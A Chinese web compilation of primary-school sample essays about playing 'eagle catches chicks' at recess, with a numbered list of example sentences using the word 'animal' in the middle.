今天的体育课上，我们在操场上玩起了“老鹰捉小鸡”的游戏，真是有趣极了。 　　老师讲完游戏规则后，我们就分小队开始了游戏。游戏开始了，首先由动作灵敏的鲍中宇当“老鹰”，胖胖的张焱当“母鸡”，其他的同学则是“小鸡”了，我也是一只调皮的“小鸡”哦！分工完毕，游戏正式开始了。“鸡娃娃”们一个接一个紧紧地拉着小伙伴的衣角，生怕落队，成为“老鹰”的盘中餐。“老鹰”的动作可真是灵敏，只见他展开双翅，一会儿扑到东，一会儿扑到西。“母鸡”也不甘示弱，左躲右闪地保护着小鸡，害得“老鹰”一只小鸡也没有捉到手。一连几次，“老鹰”有点灰心了，只见他停下来，垂头丧气地说：“我可真没用，看来今天又得饿肚子了。”“母鸡”听了，便放松了警惕，双手叉腰，大口大口地喘起粗气来。说时迟，那时快，就在这时，“老鹰”突然扑向了“鸡群”。原来“老鹰”是在搞“突然袭击”。小鸡们顿时乱成一团，不知所措，“老鹰”趁虚而入，一把就抓住了我这只又肥又大的“小鸡”。真是天大的不幸，我只好离开了“鸡群”。 　　下课铃响了，同学们还沉浸在欢乐中。这个游戏真是太有趣了！ 4.小学四年级老鹰捉小鸡作文400字 　　我玩过的游戏有许多，切西瓜、贴烧饼、瞎子摸鱼……但我最爱玩的还是老鹰捉小鸡。 　　老鹰捉小鸡的游戏规则是这样的：5个或5个以上玩，用手心手背的方法决出老鹰和鸡妈妈，剩下的都做小鸡。所有小鸡都排在鸡妈妈的身后，依次拉着前一位的衣角，游戏就可以开始了。 　　那天中午，我们又兴致勃勃地玩起了这个游戏，我当的是小鸡。只见老鹰一上来就恶狠狠地向鸡妈妈的右侧扑去。它飞快地跑着，一边跑一边伸长手臂，一副龇牙咧嘴的样子，恨不得把所有的小鸡都生吞活剥了。鸡妈妈的反应还真灵敏，连忙张开大翅膀，极力阻挡。我们这些鸡宝宝，一边喊着“救命”，一边拼命躲到“妈妈”的身后。就这样，老鹰的几次攻击都被鸡妈妈成功阻挡了。老鹰累得气喘吁吁，便停下来休息。突然，它好像想到了什么妙计似的，一下子又来了精神。它先向右猛跑几步，鸡妈妈以为它又故伎重演，连忙向右挡去。没想到，老鹰一个急转弯，调头向左跑去。还没等鸡妈妈反应过来，一只小鸡被老鹰“叼”走了。不过这样的诡计只可用一次，因为鸡妈妈绝不可能再上这种当了。所以老鹰再也没有得逞。 　　老鹰捉小鸡的游戏真有趣，我喜欢玩。 5.小学四年级老鹰捉小鸡作文400字 　　一次体育课的时候，体育老师让我们玩老鹰捉小鸡这个游戏。老师把我们分成了四队。经过一阵激烈的讨论，我们这一队决定让刘晓锴当母鸡，丁嘉诚当老鹰，剩下的人当小鸡。 　　游戏正式开始了，“老鹰”盯上了我们这个“鸡群”。“老鹰”对我们瞪着恶狠狠的眼睛，我们吓得六神无主，还好“鸡妈妈”张开双臂挡在了“老鹰”的前面，保护我们这群“小鸡”。“老鹰”不服气，他一直攻击，每次攻击的方向都不一样，一会儿是直线攻击，一会儿从侧面转圈，我们都有些顶不住了，我的眼前好像出现了一个龙卷风，一只“小鸡”跟不上来掉队了。“老鹰”看到了，迅速跑向那只“小鸡”，“鸡妈妈”也箭似地“飞”来救“小鸡”。“小鸡”最终还是被“鸡妈妈”给救了。 　　“老鹰”和“鸡妈妈”“小鸡”都累得气喘吁吁。狡猾的“老鹰”气得暴跳如雷，忽然眼珠子骨碌一转，一个鬼点子出来了。“老鹰”先向右边走一步，让“鸡妈妈”认为他要向右边攻击，没想到“老鹰”刚刚的那一步是在骗“鸡妈妈”的，“老鹰”一转身就从左边进攻，“鸡群”里一片惨叫，好多只“小鸡”被那只穷凶极恶的“老鹰”吃了…… 　　我们就这样一直玩到了下课，玩得可开心了。我最最喜欢老鹰捉小鸡这个游戏了！

我最喜欢的游戏就是“老鹰捉小鸡。”今天的活动课，我们全班同学要玩“老鹰捉小鸡”的游戏。我当然扮演的是威风的“大老鹰”了。而“鸡妈妈”的扮演者是何思仪，“小鸡”的扮演者是我们的部分同学。游戏开始了，我盯住了一长列的“鸡队”中最后面的一只小鸡，扇动翅膀，准备出击。可是，“鸡妈妈”张开双臂，像一面墙似的堵住了我进攻的路线。我左绕一圈，右绕一圈，可就是抓不到那只最后的小鸡。我想：“鸡妈妈把我防得严严实实的，让我抓不到那只小鸡，我得想一个办法，把鸡妈妈给引开了。”我灵机一动，想出了三招妙招。现在，我开始使用第一招。我站在原地，显出非常疲倦的样子。“鸡妈妈”看了，认为我已经没力气了，就对我失去了防备心。我“趁鸡不备”，连忙向左边绕了一个大圈，偷袭空挡，眼看就要抓住那只小鸡时，“鸡妈妈”突然冒了出来，把我吓了一大跳，我目瞪口呆，“鸡妈妈”的速度怎么这么快，一眨眼，她就跑到我面前来了。第一招失败了。没关系，我还有两招妙招呢！第二招妙招开始了，我故意向左边小跑了起来，“鸡妈妈”就也跟着我向左边跑去。突然，我杀了一个“回马枪”，向右边飞奔而去。“鸡妈妈”一看，大叫了一声“不好！”她一个急转弯，用尽全力向我追来，可是后面有一长列“小鸡”呢！这时，我已经抓住了最后那只“小鸡”了。我把那只“小鸡”带进了“笼子”后，喘着粗气，心里想：第二招妙招可能已经被“鸡妈妈”识破了。现在，要想抓住“小鸡”，只能使出我的绝招了。我双眼盯着“鸡妈妈”，“鸡妈妈”双眼也盯着我，伸出双手，做出防备的架势。突然，我向左边跑去，“鸡妈妈”以为我又会突然来个急转弯，向右边移去。可是，她万万没有想到，我这只“老鹰”就是朝左边跑去的。“小鸡”见了，叫起来：“救命啊，救命啊……”“鸡妈妈”见了这种情景，满脸悔恨，因为她知道已经来不及了，只能眼睁睁地看着我把“小鸡”抓住……我这只高大威猛的“老鹰”大获全胜。“叮零零，”下课零声响了，我们还陶醉在游戏里，希望还能继续。

人有了物质才能生存，人有了梦想才谈得上生活。你要了解生存与生活的不同吗？动物生存，而人则生活。下面我为你整理了用动物造句子，希望能帮到你！ 一、我还爱那春情，寄托着春天的爱，动物之间的问候，植物之间的点滴，人们之间的交流……带者真诚，带者关心，带者体贴。 二、春天像个闹钟，叫醒在冬眠的动物，还带来温暖的太阳。 三、描写动物吃相的句子、鸭小们的吃相很不雅，“哧溜哧溜”“刷刷”声不绝于耳，吃饱后也不管饭盆是否已经倒扣在地上，就摇摇摆摆地去喝水了，无忧无虑，一副悠闲自得的样子。 四、在动物园里，我最喜欢小猫。我家里也养着一只猫。头的毛色黑白相间，周身全是花色，只有脚是白色的，像是穿着一双洁白的袜子，漂亮极了。 五、人只是一无所知的动物，没有教诲。荀子 六、冬天的天起总是那么的寒冷，动物不像夏天一样开演唱会拉，而是在隐必的地方好好的睡回一次大觉，这样，荷塘的荷花都枯萎了，只有梅花不怕冬天，他们在着冷冷的天汽中盛开了一朵朵黄色的小花。它这种精神是多么的值得我门学习啊！ 七、我们不仅应该尊重他人，就连动物也应该尊重。 八、春雨，它是大地生命的源泉，是动物生存的力量。它让大地变得绿树常青；让地球上每一株幼苗茁壮成长；让沙漠变成绿洲，让百花齐放，争芬斗艳。春雨，它总是静悄悄地来，又静悄悄地去，为人们无私春献着。 九、复杂中带着简单的思考，是人和动物的分别。 十、夏天的动物是生机勃勃的。小狗热得直喘气；知了热得直叫：“知了，知了！”在树上一动不动；勤劳的小蜜蜂“嗡嗡”地飞来飞去，就像辛勤的园丁在采花粉；蝴蝶张开翅膀在花丛中飞翔，如同一只只小精灵…… 十一、我们的祖国是动物园，动物园里的动物真犯贱。 十二、蜜蜂是最勤劳的动物，它们天不亮就提着篮子采摘花粉，酿成蜜。所以，只有勤劳和不懈的努力，才会成功…… 十三、没有时光和精神的话，不要乱表爱心养小动物，怠慢它们同样是种残暴，固然我懂得您很寂寞须要一个伴。 十四、人生就像一个动物园，当你以为你在看别人耍猴的时候，却不知自己也是猴子中的一员！ 十五、所谓女人，就是最让男人烦恼的动物；所谓男人，就是最喜欢自寻烦恼的动物。 十六、动物的种类在减少，人的种类在增加吗？ 十七、玉脚蜈蚣俗称“天龙”，又名“百脚虫”，属于节肢动物，玉脚蜈蚣有非常多的脚，数也数不清。有一种蜥蜴，它的尾巴长长的，圆圆的，可爱极了，它就是变色蜥蜴。 十八、抬头遥望天空，天上的白云成了一只只可爱的动物。 十九、人类是唯一会脸红的动物，或是唯一该脸红的动物。马克·吐温 二十、大熊猫是我们的国宝，也是可爱的动物，还是一个活化石。 二十一、夏日，动物也耐不住了。小狗热得受不了了，吐出了粉红色的小舌头，知了也耐不住炎热，发出尖叫“知了知了……”好似在唱着歌儿开着音乐会呢！ 二十二、北极熊虽说不像大熊猫那样是国宝，但也是一种极其濒危和可爱的动物。小北极熊动作憨态可掬，而且敏捷轻巧。在野外，它是名副其实的捕猎高手。 二十三、清晨，河水清澈见底，能够照出人的影子来，那些奇形怪状的、大大小小的鹅卵石在河底静静的躺着，各种各样的动物却闹腾起来了：有横行霸道的螃蟹；有吹胡子瞪眼的龙虾：有性情温和的鲫鱼；有水下清洁工青鱼；还有许多灰白色的“毛咪鱼”…… 二十四、在交配的过程中，最重要的一点是必须在水中进行。青蛙是体外受精的变态发育动物。在水中进行繁殖是为了提高受精的机率。当然在水污染的环境中是不可能实现的……当我们走到青蛙跟前，就会看到雄蛙的鳃边有一对气囔，所以只有雄蛙才可以鸣叫。 二十五、我此时此刻不知怎么形容我的高兴心情。就如重获自由的小鸟，得到解放的犯人，逃离猎人追捕的动物。。。。。。 二十六、夏天，校园里池塘的荷花绽开了粉红色的脸蛋，特别招引小动物和人们。小蝌蚪在荷花姐姐旁讲故事呢！小青蛙也过来凑热闹：呱，呱，呱唱着动听的歌曲。夏天很美呀！ 二十七、春风扑面而来，让人心旷神怡。春天来了，万物复苏了。春天来了，动物苏醒了。春天来了，春风代替了寒冷的西风，我的心情好极了。 二十八、四季的风，最可爱的要算是和暖的春风了。春风像慈母的手扶摸着大地，小草被春风吹翩翩起舞，好看极了；小动物也被春风吹得浑身舒服；农民们在春风吹拂下开始撒播种子，为将来美好的.收获而工作。 二十九、金鱼体态奇特，身体苗条，色彩丰富，浮游水中，偏偏起舞。像是水中舞姿优美的舞蹈家。是一种具有魅力的动物。 三十、以前，我家养过一只雪白的小兔，从那时起，我便对兔子这种动物情有独衷。记得刚买小白兔回来时，它总是很小心地活动，轻轻地、悄悄地，我心想道：“真是一只温顺的小兔啊！”。 三十一、这是一个大地回春，万物复苏的季节。像蛇，熊，青蛙……之类的冷血动物都停止了冬眠，爬上地面欣赏春天。小鸟鸣春，百花争艳，小草发芽，燕子也飞回来搭窝了，春天使给大地恢复了万紫千红的气氛。 三十二、抬头仰望，但见陡峭的崖壁，形态各异，千变万化，有的似城垣，有的似门阙，有的似人物造型，有的似动物形状，横看侧看，妙趣横生，观之，叹之，不由得令人感叹大自然的鬼斧神工之力，竟能塑造出如此奇妙的形貌来。 三十三、没有任何动物比蚂蚁更勤奋，然而它却最沉默寡言。富兰克林 三十四、猫是哺乳动物，它是靠母猫的奶长大的，小猫长大后爱吃肉和鱼。小猫的毛色十分的多，有黑白相间的，有黄白相间的，还有一身白色的，一身黄色的，一身是灰的，而我最喜欢黄白相间的小猫。 三十五、夏天的清晨，四五点钟，天刚露出鱼肚白，一切都未混进动物的气息，一切都纯净的让人心旷神怡，仿佛一幅淡淡的水墨画，水墨画里，弥漫着好闻的青草的香。 三十六、每年的冬至过后，天气会更加寒冷，花草树木收起了笑脸，小动物都躲起来，进入了自己的窝巢，有的开始了冬眠。人们穿上又厚又暖的羽绒衣，候鸟们都飞到温暖的南方去了，一年四季最寒冷的日子来临了。 三十七、人和动物毕竟不同：动物意见不和了上去就打，人最起码还知道先讲上两句。 三十八、听着鸟鸣、流水声、树叶的摩擦声汇集成的大自然的歌曲，品味着纯天然的香甜可口的野果，脑中再想象着小动物在大自然中自由自在、快快乐乐地嬉戏玩耍的生机勃勃的景象，您就真正地与大自然融合在一块儿了。那时，烦恼什么的早已飘到了九霄云外，您只会享受到来自大自然的真正的欢乐！ 三十九、冬至过后，天气渐渐变冷，花草树木收起了笑吟吟的脸儿，小动物缩成一团，躲进了自己的窝巢，人们穿上又厚又暖的棉袄，候鸟们都飞到温暖的南方去了，一年四季中，最冷的日子来临了。 四十、蚂蚁力大无穷，它可以搬动一粒比它身体大几倍的大米，它们如果团结起来能搬动一只死老鼠，或是更大的动物。 四十一、礼貌是什么？礼貌，就是随时捡起地上的垃圾；礼貌，就是随时保护弱小的动物；礼貌，就是随时制止斗殴的人群。 四十二、我有一个同学，他的名字叫黄耀明。您看他两条弯弯的眉毛下长着一双圆圆的眼睛，红红的嘴巴上有一个小小的鼻子。他扮各种动物装得可像了，他热爱班级，热爱集体，可他最大的优点还是助人为乐。 四十三、时而有一阵阵秋风吹来，大海便卷起了浪花，浪花的形状千姿百态：有时形成小兔子；有时变成小老虎；又有时让龙栩栩如生……而大海却像美丽温和的母亲，把这些可爱天真的小动物们紧紧地、紧紧地抱在怀里，使它们感觉到自己是多么幸福…… 四十四、我怀着和欣赏春天不一样的心情，来观赏秋天的景色。我的家乡秋天天气总是很晴朗，天空一碧如洗，秋高气爽，天高云淡，白云有时变成可爱的小动物，有时变成了白白的棉花，真令人心旷神怡。 四十五、春姑娘拂一拂袖子，大地春意盎然，她笑了，笑声，又化作那丁冬作响的清泉，冬眠的动物们纷纷来看望春姑娘，欢笑萦绕耳畔。 四十六、龙是非常神奇的动物，是中华民族的象征。数千年来，龙的影响延伸到中国文化的多个领域，深深融入中国人的生活之中。 四十七、人类的精神与动物的本能区别在于，我们在繁衍后代的同时，下一代身上留下自己的美、理想和对于崇高而美好的事物的信念。苏霍姆林斯基 四十八、冬季，我们呼吸着腊梅散发出诱人的香气和不屈不饶的精神。北风呼呼地吹，大家穿上厚厚的衣裳，动物都挖洞冬眠，到下一年的春天才醒。小燕子无影无踪。山河有一层厚厚的雪花，枯树用雪当花。我不禁向冬天问候；您好。 四十九、夜深了，皎洁的月亮完全出来了。夜静的连人们的脚步声都能听见，动物们都开始回家了。忙碌了一天的小蜜蜂伴着月光回到了自己的家，可爱的小狗在月亮姐姐温柔的注视下进入了甜甜的梦乡，美丽的小鸟在自己的窝里和妈妈一起欣赏着美丽的月色。 五十、自然界里，有这样一种动物。它们在地下呆了整整4年，等到终于破土而出，终于能够享受快乐的时候，却发现，距离死神的脚步，已经不远了。 五十一、树林里的小鸟在唱歌，歌声飞上天空；飞过树林；飞跃小溪；飞到屋子里。动物们都来听这场“演唱会”。 五十二、如果一个人获得了幸福、健康、才能、财富、快乐、权势等一切，但放弃了对真、善、美的追求，那么他就会堕落成为动物。今道友信 五十三、在春天里，动物们也从沉睡中醒来。小草开始发芽了，大地上到处都显现出欣欣向荣的景象。一眼望去，到处都是一片绿景象，就像一幅水彩画。 五十四、在我的眼中，有许许多多的景像，在大自然这个奇妙的世界里，有着无穷无碧的奥妙，等着我们去探险。在我眼中，我认为大自然里充满了生机勃勃；动物门欢乐的歌唱，跳舞。 五十五、我们首先看到了一只很大很大的鳄鱼，它身匹铠甲，眼睛哧溜哧溜地转，时不时张张嘴巴，露出锋利的牙齿，好像在说：“我可是世界上凶猛最凶猛的动物了！你们可不要惹火我了！”。

　　体育课上欢笑声不断，原来是老师带着我们在操场上正玩老鹰捉小鸡的游戏呢。老师比我们玩的还欢快呢！下面是由我为大家整理的“老鹰捉小鸡作文400字四年级”，仅供参考，欢迎大家阅读。 　　老鹰捉小鸡作文400字四年级（一） 　　上个星期的下午，我做完作业后，就和伙伴们一起玩老鹰捉小鸡的游戏。 　　xxx当“老鹰”，xxx当“鸡妈妈”，其他人都是“小鸡”。 　　小鸡都躲在鸡妈妈的后面，拉着前面一只“小鸡”的衣服，这样可以保护自己。老鹰开始行动了，鸡妈妈张开双臂，保护自己的“孩子”。狡猾的老鹰不停地往左转，鸡妈妈也跟着往左转，转了很久了，突然，老鹰脸上出现一丝不易察觉的笑，然后飞快的向右一跳，刘佳佳不注意，打了个趔趄，老鹰一下子就把她抓起来了。 　　老鹰捉了半天，才捕到一只小鸡，于是他沮丧地一屁股坐在椅子上，大声吼道：“不玩了！”小鸡们看老鹰不捉他们了，就都散了。我走过去，问道：“这么快就不玩了啊？”突然老鹰一下子揪住我的衣服，嘴里还念念有词：“抓住喽，抓住喽！”鸡妈妈看情况不妙，连忙招呼小鸡们躲在他的后面。就这样，无知的我被老鹰”押”到了刘佳佳旁边，跟刘佳佳一起静静的呆在那里。 　　虽然我输了，但我依然很高兴。 　　老鹰捉小鸡作文400字四年级（二） 　　下课了，同学们在操场上玩老鹰捉小鸡的游戏。孙涛当老鹰，当母鸡，其他小鸡。 　　游戏开始了。 　　老鹰听到叽叽声，马上飞到鸡窝旁，看见母鸡孵出了许多小鸡，伸伸舌头，馋得直流口水，便对母鸡说：“你有那么多小鸡，就送我几只当晚餐吧！” 　　老母鸡眨了眨眼睛说：“只要你在太阳下山前捉到的，就全归你。” 　　“好，说话算数！”说着，老鹰就张开双爪，向老母鸡身后的小鸡扑去，但被母鸡那强劲的翅膀给挡住了。小鸡在后面秩序井然，毫不乱跑。老鹰不死心，弯下脖子冲，想从老母鸡翅膀下穿过去。只见老母鸡马上合拢翅膀，老鹰又束手无策了。母鸡刚想喘一口气，没想到老鹰直飞过来，左右猛攻。小鸡躲闪不及，被虏俘了一只。正在老鹰得意时，老母鸡一把抢过小鸡。这时太阳下山了，老鹰无奈，只好拍着翅膀飞走了。 　　游戏结束了，大家余兴未尽。 　　老鹰捉小鸡作文400字四年级（三） 　　下课了，同学们飞快地跑到操场上玩游戏。有的在踢毽子，有的在跳绳，还有的在跑步……我来到操场，找了几个同学，大家商量后，决定玩“老鹰捉小鸡”的游戏。 　　第一回合开始了，xxx这只既敏捷又凶猛的老鹰张牙舞爪地向小鸡扑来。我这只机灵的母鸡连忙扇动翅膀，发出信号。小鸡们一见到信号，就急忙蹲下身来，紧紧地拉住前面人的衣服，生怕被老鹰捉去。老鹰一会儿向左扑，一会儿向右扑，但都是竹篮打水——一场空。这时，我们自己的体力慢慢耗尽。于是，我装做体力不支的样子，弓着腰，“呼呼”地直喘气，暗地里却悄悄地盯着老鹰的一举一动。果然，老鹰对我掉以轻心了，他找准时机，向小鸡猛地一扑，但我迅速闪了过去，老鹰扑了个空。我哈哈大笑，第一回合结束了，老鹰空手而归。 　　第二回合，老鹰想用“调虎离山”之计，被我识破了。他见一计不成又施一计。于是，他又使用了“声东击西”之计，他假装往我的左边跑，我去挡，可他一撤身，从我的右边窜了过去，抓住了好几只小鸡。等老鹰吃完他的“美餐”后，再次发动了猛烈的进攻。 　　这真是一个又紧张又刺激的游戏！太有趣了。 　　老鹰捉小鸡作文400字四年级（四） 　　我的课余生活丰富多彩，我最爱玩的就是“老鹰捉小鸡”的游戏了！ 　　xxx当“老鹰”，xxx当“母鸡”，别的同学都是“小鸡”了。“老鹰”请“母鸡”和“小鸡”洗脸，“母鸡”先让“小鸡”们洗脸，“小鸡”们洗好以后，“母鸡”一不小心把脸盆打碎了。“老鹰”怒气冲冲地说：“我一定要吃掉你们！”“老鹰”向“小鸡”扑去，“小鸡”惊慌失措，“母鸡”张开翅膀，把“老鹰”挡住了，“小鸡”安然无恙。“老鹰”暴跳如雷，怒发冲冠，左扑一下，右扑一下，但最后没有抓住一只“小鸡”。 “老鹰”想出了一个绝妙的主意：他先向左边跑去，等“母鸡”与“小鸡们”也跑到左边，他猛地一个转弯，跑到右边，一下子抓住了一只还没来得及跑回去的“小鸡”。老鹰得意地笑了。 　　大家已经回家了，可操场上还是飘荡着我们的笑声。“老鹰捉小鸡”给我们的课余生活带来了无穷的欢乐。

　　无论是在学校还是在社会中，说到作文，大家肯定都不陌生吧，作文一定要做到主题集中，围绕同一主题作深入阐述，切忌东拉西扯，主题涣散甚至无主题。你知道作文怎样写才规范吗？下面是我收集整理的老鹰捉小鸡四年级作文，希望对大家有所帮助。 老鹰捉小鸡四年级作文1 　　许优梁当“老鹰”，金雨彤当“母鸡”，别的同学都是“小鸡”了。“老鹰”请“母鸡”和“小鸡”洗脸，“母鸡”先让“小鸡”们洗脸，“小鸡”们洗好以后，“母鸡”一不小心把脸盆打碎了。“老鹰”怒气冲冲地说：“我一定要吃掉你们！”“老鹰”向“小鸡”扑去，“小鸡”惊慌失措，“母鸡”张开翅膀，把“老鹰”挡住了，“小鸡”安然无恙。“老鹰”暴跳如雷，怒发冲冠，左扑一下，右扑一下，但最后没有抓住一只“小鸡”。 “老鹰”想出了一个绝妙的主意：他先向左边跑去，等“母鸡”与“小鸡们”也跑到左边，他猛地一个转弯，跑到右边，一下子抓住了一只还没来得及跑回去的“小鸡”。老鹰得意地笑了。 　　大家已经回家了，可操场上还是飘荡着我们的笑声。“老鹰捉小鸡”给我们的课余生活带来了无穷的欢乐。 老鹰捉小鸡四年级作文2 　　今天，我和五个最要好的朋友一起玩老鹰捉小鸡的游戏。我和其他两个小朋友当小鸡，另外两位分别当老鹰和母鸡。我有点沾沾自喜，因为我是最前面的小鸡。 　　游戏开始了，我紧紧拉着母鸡的衣角，躲在她的身后。母鸡张开双臂，眼睛紧紧地盯着老鹰，想要保护自己的孩子。这时，与她面对面的老鹰露出一副凶猛的样子，眼睛眯成一条线，张开大嘴巴，好像随时都能一口把我们吃掉一样。这时，老鹰从左边扑过来，母鸡马上转到左边，可由于用力过猛，最后一只小鸡直接飞了出去。这可把老鹰逗乐了，母鸡也差点笑了出来，我们就更不用说了。 　　没过一会儿，老鹰又往右扑，此时大家倒没有飞出去，可我后面唯一的这只小鸡却被老鹰抓走了。现在只剩一只孤零零的小鸡了，那就是我。我知道再不躲快点儿，我们就输定了！可我躲得比母鸡还快，一个不小心把母鸡给拽摔跤了，而我因为拉着她的衣角，也摔跤了。我们全“鸡”覆没，一个比一个惨。 　　我们玩了很久才回家，虽然我们一直被剃光头，但还是非常开心。 老鹰捉小鸡四年级作文3 　　“下课了，下课了。”同学们一边高兴地喊着，一边一窝蜂地跑出教室，冲向操场，开始了快乐的课间活动。 　　瞧！操场上有跳绳的、抖空竹的、玩悠悠球的……好不热闹。我和几个好朋友则准备玩老鹰捉小鸡，可是大家都不愿当老鹰，我们只好抽签决定。最后一个同学当上了老鹰，另一个同学当上了母鸡，剩下的同学都当上了小鸡。游戏开始了，老鹰跑来跑去，不停地向小鸡扑去，可是母鸡张开双翅，用她那宽大的身躯挡住老鹰，老鹰跑到哪，母鸡就档到哪，小鸡在母鸡身后东藏西躲，老鹰怎么也抓不住。忽然，老鹰猛一身从母鸡的翅膀底下飞了过去，捉住了一只小鸡。就这样小鸡接二连三的离开了母鸡。 　　“叮铃铃……”上课铃响了，我们在老鹰胜利的欢呼声中欢快的跑向教室。 老鹰捉小鸡四年级作文4 　　今天的活动课上，老师让同学们去外面做游戏。 　　我们来到教室外面，决定玩“老鹰捉小鸡”。一位同学自告奋勇当起了老鹰，另一位同学当了鸡妈妈，我们就是小鸡了。我拉着鸡妈妈的衣服，后面的小鸡都拉着前面小鸡的衣服。我们可以蹲下，蹲下了老鹰就不能抓了。 　　游戏开始了。老鹰一会儿往左，又突然往右，显得勇猛又狡猾。我们的鸡妈妈张开翅膀也是左奔右跑，紧紧地保护着我们，不让老鹰有机可乘。老鹰累得气喘吁吁无计可施。于是，老鹰想了一个办法，假装蹲下休息，鸡妈妈放松了警惕。这时，老鹰以迅雷不及掩耳之势向小鸡这边冲来。眼看老鹰就要抓到小鸡了，鸡妈妈急中生智，带着小鸡蹲了下来。老鹰没辙了，终于认输了。 　　“我们胜利了!”大家欢呼起来。嘿，这个游戏不但考验了我们的智慧，而且还考验了我们齐心协力，共同面对困难，战胜困难的协作精神。今天的活动课真有意思啊! 老鹰捉小鸡四年级作文5 　　在一个开心快乐的体育活动课里，我召集了我的好朋友——卢静宜、陈浩桐、陈雨星、周笑冉一起玩老鹰捉小鸡。 　　卢静宜当小鸡妈妈，我当老鹰，陈浩桐、陈雨星、周笑冉当小鸡。老鹰只能进攻八次，如果老鹰捉到一只小鸡就算赢，小鸡妈妈和小鸡就算输。老鹰的任务是捉住小鸡，小鸡妈妈的任务是保护好小鸡，小鸡的任务是保护好自己。 　　游戏开始了，小鸡妈妈双手展开，两腿叉开，小鸡紧紧跟在小鸡妈妈的身后，生怕被老鹰捉住。· 我前六次进攻，都没有捉到小鸡。眼看只有两次进攻的机会了，我急得眼睛发红，头发都竖起来了。我心生一计，一边喊着“完了”，一边坐在地上。这时鸡妈妈和小鸡都放松了警惕，我趁他们不注意，一个“饿虎扑食”捉住了跑得最慢的陈雨星，我们两人一起跌倒地……·我捉住了小鸡多高兴呀，我大声喊着：“我赢了！”···· 老鹰捉小鸡四年级作文6 　　去年暑假，最让我刻骨铭心的要数和小伙伴们一起玩游戏了。 　　我在外婆家玩了一个名叫老鹰捉小鸡的游戏。首先我来宣布游戏规则：一个人当鸡妈妈，一个人当老鹰，剩下的人当小鸡。如果老鹰把小鸡全部捉住算老鹰赢，如果老鹰没捉到小鸡算鸡妈妈赢，三局两胜制。 　　我当了鸡妈妈，弟弟、表妹和阿瑞当上了平平无奇的小鸡，越越当上了老鹰。 　　最精彩的时刻开始了！老鹰张开大翅膀，自信地尖叫着。母鸡也不甘示弱，眼里满是杀气。老鹰悄悄溜进小鸡身后，趁鸡妈妈不注意，成功捉到了一只小鸡。老鹰开始沾沾自喜了，说道：“还剩两个小家伙还不简单？”“这下我们要小心了！”剩下的两只小鸡心想。 　　老鹰大摇大摆地来了，随着时间流逝，老鹰的速度越来越快，鸡妈妈的速度也越来越快。老鹰使出“杀手锏”原地转圈圈，小鸡们没转晕，老鹰却头昏眼花了，真是自讨苦吃。“我们胜利啦！”大家欢呼起来。 　　这个游戏让我明白一个道理：“团结就是力量！” 老鹰捉小鸡四年级作文7 　　我今天，就给你们讲一个新游戏，这个游戏就是老鹰捉小鸡的游戏。 　　一下课，我们班上的人都跑出去玩了，我也跑出去玩，我们一到操场上，就开始玩起老鹰捉小鸡的游戏，我们石头剪刀布，输的人来当老鹰，赢的人来当鸡妈妈。这次我赢了，所以我来当鸡妈妈。 　　一开始，老鹰老是想往我后面跑，但是，我挡着，看他怎么过，在我后面的小鸡害怕的紧紧拉着我的衣服，我心中暗暗下决心，不管是“上刀山还是下火海”，我心不改，一定要保护好小鸡，老鹰一会儿往这儿跑，一会儿往那跳，真是让我左跑右跑，正当我松了一口气的时候，老鹰看趁机往后面抓，我赶紧提醒小鸡们说：“老鹰来了，快散”，过了一会儿，老鹰不但没抓到一个，还累的满头大汗，我看老鹰还在抓，心想，老鹰真是不到黄河不死心呀！我马上叫：“小鸡们，赶快来”。突然，我们听到，同学们还有一分钟就要上课了，我们赶紧跑到教室里。哈哈，到最后我们还是胜利啦。 　　这个游戏怎么样？是不是很好玩，我和同学们都很喜欢。 老鹰捉小鸡四年级作文8 　　游戏是童年生活的重要组成部分，在众多游戏中，我最喜欢的是老鹰捉小鸡。 　　“叮铃铃”下课了，同学们一窝蜂似地冲出教室，走廊里立即充满了欢声笑语。同学们在这里拼一组，那里拼一组，玩起了“老鹰捉小鸡”的游戏。 　　我和张雨涵、施雨辰、阮佳洋、周诗雨、章杨阳组成了一组。我们通过“点兵点将”的方式选出了“老鹰”和“小鸡”。周诗雨是“老鹰”，阮佳洋是“鸡妈妈”，其余的都是“小鸡”。 　　游戏开始啦！只见“老鹰”疯一般地冲向我们，我们这群“小鸡”则躲在“母鸡”的身后，不动声色地一会儿往左边扭，一会儿又往右边扭，整个队伍看起来就像一条大蛇，好笑极了。 　　可是，无论我们怎么躲，也躲不了老鹰的“魔爪”。一个不留神，我竟然被抓住了！ 　　身份转变，现在我是“老鹰”啦！紧接着，第二轮比赛开始了。我找准了一个敌人——张雨涵。接下来，我就专门来抓她，我一次又一次地找准时机扑向她，她则惊慌失措地逃跑着！最后，我一个“鹰式十八掌”，终于抓住她了。 　　通过游戏，我明白了：遇事不仅要沉着冷静，还要团结合作。 老鹰捉小鸡四年级作文9 　　一个周末，我闲着没事干，便想起可以玩游戏打发时间，于是召集了小伙伴们玩起了“老鹰捉小鸡”。 　　规则不必多说，每一轮按抽签决定老鹰、母鸡、小鸡三个身份。 　　第一轮抽签开始了。我抽到了小鸡，而且排最后一个，我不免感到有点幸运，但没高兴五秒，就听到了跑得最快的那个伙伴说：“我是老鹰耶！”一听这话，让我瞬间晴转乌云。这队伍也不长，他随便抓几个都轻轻松松，更别说我这个位置了，恐怕几分钟游戏就结束了。可我们的“母鸡”偏不信这个邪，执意要试一试，唉，我抱着必败之心叹了口气，硬着头皮上了。 　　游戏开始！我摆好架势抓好前面小鸡的衣服，果然，老鹰盯着我抓，还好我灵活，我一个闪身就躲过了他的攻击，还顺势跳了几下，表示对他的挑衅。老鹰见抓不到我，便把怒火往其他小鸡身上撒去，可谁也不知道，母鸡突然一个漂移，把我们甩得晕头转向。眼看我们就要甩飞出去，我急中生智，抓稳伙伴的身体，双脚紧紧踏地，把力量全聚集在手和脚。终于，在我耗尽力量的情况下停了下来，但鞋底已经被磨平了。时间也刚好结束，老鹰居然一只小鸡也没抓到，我们欢呼着胜利。 　　这次游戏让我记忆深刻，可真刺激！ 老鹰捉小鸡四年级作文10 　　今天我和张臻、潘月还有好多人玩老鹰捉小鸡的游戏。我当“老母鸡”，在我的后面是我的“鸡宝宝”。张臻就是坏蛋“老鹰”。 　　开始游戏了。“咕咕嗒，咕咕嗒！”我叫道。“哈哈，个个大，个个大，祝你的宝宝个个大。”张臻狂笑着说。我的“小鸡们”也笑了起来。 　　开始打，他左攻，我左防。两方打得不可开交，过了不久阚思意加入了我的战队。张臻望着我身后的“小鸡”口水直流八千尺。 　　就在这时这个坏蛋“老鹰”想起了一个馊主意。塔巴“炸弹”（毽子）投入我方。把我们下的“落荒而逃”。这时他捉住了潘月正准备“美餐一顿”。 　　